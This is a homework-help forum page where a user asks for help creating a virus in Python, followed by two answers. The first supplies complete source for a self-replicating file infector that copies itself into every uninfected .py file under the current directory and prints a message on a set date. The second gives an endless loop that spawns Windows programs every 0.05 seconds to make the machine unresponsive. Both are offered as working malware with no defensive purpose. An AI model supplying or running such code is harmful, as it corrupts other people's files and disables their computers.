Computer Science, asked by manish55532, 2 months ago

*cre ate a vi rus usi ng python*

please frie nds help me

or you have already cre ated then please send me pl ease pl ease ple ase​

Answers

Answered by sara200408
12

Explanation:

Just keeping it simple_

I haven't really tried it yet...!

But just sharing the steps you can follow to go with your work done...

#!/usr/bin/python

import os

import datetime

SIGNATURE = "CRANKLIN PYTHON VIRUS"

def search(path):

filestoinfect = []

filelist = os.listdir(path)

for fname in filelist:

if os.path.isdir(path+"/"+fname):

filestoinfect.extend(search(path+"/"+fname))

elif fname[-3:] == ".py":

infected = False

for line in open(path+"/"+fname):

if SIGNATURE in line:

infected = True

break

if infected == False:

filestoinfect.append(path+"/"+fname)

return filestoinfect

def infect(filestoinfect):

virus = open(os.path.abspath(__file__))

virusstring = ""

for i,line in enumerate(virus):

if i>=0 and i <39:

virusstring += line

virus.close

for fname in filestoinfect:

f = open(fname)

temp = f.read()

f.close()

f = open(fname,"w")

f.write(virusstring + temp)

f.close()

def bomb():

if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:

print "HAPPY BIRTHDAY CRANKLIN!"

filestoinfect = search(os.path.abspath(""))

infect(filestoinfect)

bomb()

Hope it helps

Best luck buddy

Answered by Anonymous
71

Creating a virus - Python

So we are going to create a virus by using python. Well, in this use artificial multithreading.

Before we start our program, let's first know about that what is Python.

Python is a powerful high-level, object-oriented programming language created by Guido van Rossum. It has simple easy-to-use syntax, making it the perfect language for someone trying to learn computer programming for the first time.

\rule{300}{1}

The Program

import subprocess

from time import sleep

while True:

⠀⠀subprocess.Popen('notepad')

⠀⠀subprocess.Popen('calc')

⠀⠀subprocess.Popen('mspaint')

⠀⠀subprocess.Popen('explorer')

⠀⠀subprocess.Popen('write')

⠀⠀sleep(.05)

\rule{300}{1}

Note: This makes your system unresponsive.

Now, let's know if you run it for once then how can you stop it.

The only one way is there to stop this, switch off your PC and restart it again, after that your PC will be fine.

Attachments:
Similar questions